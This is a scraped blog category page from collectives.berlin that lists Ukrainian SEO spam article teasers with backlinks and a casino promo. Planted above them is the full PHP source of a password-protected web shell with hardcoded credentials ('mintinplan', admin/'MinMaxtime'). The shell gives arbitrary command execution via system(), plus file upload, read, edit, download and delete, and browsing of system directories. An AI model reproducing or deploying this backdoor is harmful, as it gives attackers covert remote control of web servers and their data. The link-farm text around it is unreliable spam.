if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 33 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Як знайти дешеві авіаквитки: секрети бронювання

    У сучасному світі подорожей знайти дешеві авіаквитки може бути справжнім мистецтвом. Існує безліч факторів, tourfocus.net.ua які впливають на ціни, і знання деяких секретів може допомогти зекономити значну суму грошей. У цьому звіті ми розглянемо кілька стратегій, які можуть допомогти вам знайти найкращі пропозиції на авіаквитки. По-перше, важливо планувати свою подорож заздалегідь. Багато авіакомпаній пропонують знижки…

    Click or not…

  • Електронна Медкарта: як цифровізація проує життя пацієнта

    Електронна медкарта (ЕМК) є важливим елементом цифровізації системи охорони здоров’я, https://healthinsight.in.ua/ яка суттєво змінює спосіб взаємодії пацієнтів з медичними установами. Вона забезпечує зручний доступ до медичних даних, що в свою чергу підвищує якість медичного обслуговування та покращує управління здоров’ям пацієнтів. У цьому звіті розглянемо, як електронні медкарти впливають на життя пацієнтів, їх переваги та недоліки,…

    Click or not…

  • Сімейне право: розірвання шлюбу та поділ спільного майна

    Сімейне право є важливою галуззю права, яка регулює відносини між членами сім’ї, включаючи питання шлюбу, розлучення, виховання дітей та поділ спільного майна. Розірвання шлюбу та поділ спільного майна — це два ключові аспекти, які потребують детального розгляду, https://lawreview.com.ua оскільки вони мають значний вплив на життя колишніх подружжя. Розірвання шлюбу в Україні регулюється Сімейним кодексом. Шлюб…

    Click or not…

  • Політична журналістика: як уникати упередженості

    Політична журналістика є однією з найскладніших і відповідальних галузей журналістики. Вона вимагає не лише глибокого розуміння політичних процесів, але й об’єктивності та неупередженості в поданні інформації. У сучасному світі, де інформація поширюється миттєво, https://newsspace.com.ua важливо, щоб журналісти дотримувалися етичних стандартів і уникали упередженості. У цьому звіті ми розглянемо основні принципи, які допоможуть журналістам залишатися об’єктивними…

    Click or not…

  • Підгодівля рослин: органіка vs мінеральні добрива

    Підгодівля рослин є важливим аспектом агрономії, оскільки вона забезпечує необхідні елементи живлення, zoojournal.net.ua які сприяють росту та розвитку рослин. Існує два основних типи добрив: органічні та мінеральні, кожен з яких має свої переваги та недоліки. Органічні добрива походять з природних джерел, таких як компост, гній, рослинні залишки та інші органічні матеріали. Вони містять не лише…

    Click or not…

  • Основи дресирування мисливських собак: команди та методи

    Дресирування мисливських собак є важливим етапом підготовки до полювання. Правильне навчання не лише забезпечує ефективність у виконанні завдань, https://outdoorfocus.org.ua/ але й зміцнює зв’язок між собакою та її власником. У цьому звіті ми розглянемо основні команди та методи дресирування, які допоможуть власникам успішно підготувати своїх чотирилапих помічників. Перш ніж почати дресирування, важливо розуміти, що кожна собака…

    Click or not…

  • Low-Limit Live Tables: Wo fängt man an?

    WinBeast Casino Einleitung In der Welt des Glücksspiels erfreuen sich Low-Limit Live Tables zunehmender Beliebtheit, insbesondere bei Anfängern und Spielern mit begrenztem Budget. Diese Tische bieten eine hervorragende Gelegenheit, die Grundlagen des Spiels zu erlernen, ohne ein Vermögen zu riskieren. In diesem Bericht werden wir die verschiedenen Aspekte von Low-Limit Live Tables untersuchen, einschließlich der…

    Click or not…

  • Від ідеї до публікації: як працює новинна редакція

    У сучасному світі новини стали невід’ємною частиною нашого життя. Від того, pressinsight.com.ua як інформація подається, залежить не лише сприйняття подій, але й формування громадської думки. У цій статті ми розглянемо, як працює новинна редакція, від моменту виникнення ідеї до публікації матеріалу. Процес починається з генерації ідеї. Це може бути результатом спостереження за актуальними подіями, аналізу…

    Click or not…

  • Поради для безпечного бігу після 40 років для активного життя

    Завжди обирайте правильне взуття. Комфортні кросівки з амортизацією знижують навантаження на суглоби, що особливо важливо, https://trainingfocus.org.ua якщо ви старші. Чітке планування тренувань має велике значення. Не прагніть до максимальних результатів одразу; поступове збільшення навантажень допоможе уникнути травм. Розпочніть з 20-30 хвилин в помірному темпі, поступово додаючи час та інтенсивність. Регулярно робіть розминку перед заняттями. Це…

    Click or not…

  • Як написати огляд подій: структура та логіка викладу

    Написання огляду подій є важливим елементом журналістики, який дозволяє донести до читача суть події, https://newsonline.net.ua/ її значення та вплив на суспільство. Щоб створити якісний огляд, необхідно дотримуватися певної структури та логіки викладу. У цьому звіті ми розглянемо основні етапи написання огляду подій, які допоможуть вам створити зрозумілий та інформативний текст. Першим кроком у написанні огляду…

    Click or not…